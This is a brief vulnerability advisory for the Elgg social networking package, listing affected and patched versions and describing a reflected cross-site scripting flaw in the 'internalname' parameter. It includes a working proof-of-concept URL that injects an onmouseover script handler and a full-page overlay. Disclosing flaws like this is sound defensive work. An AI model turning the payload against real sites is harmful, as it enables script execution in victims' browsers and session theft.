| Package | Affected versions | Patched versions |
|---|---|---|
| elgg/elgg | < 1.7.11 | 1.7.11 |
| elgg | ≤ 1.7.10 |
The internalname parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser
http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22
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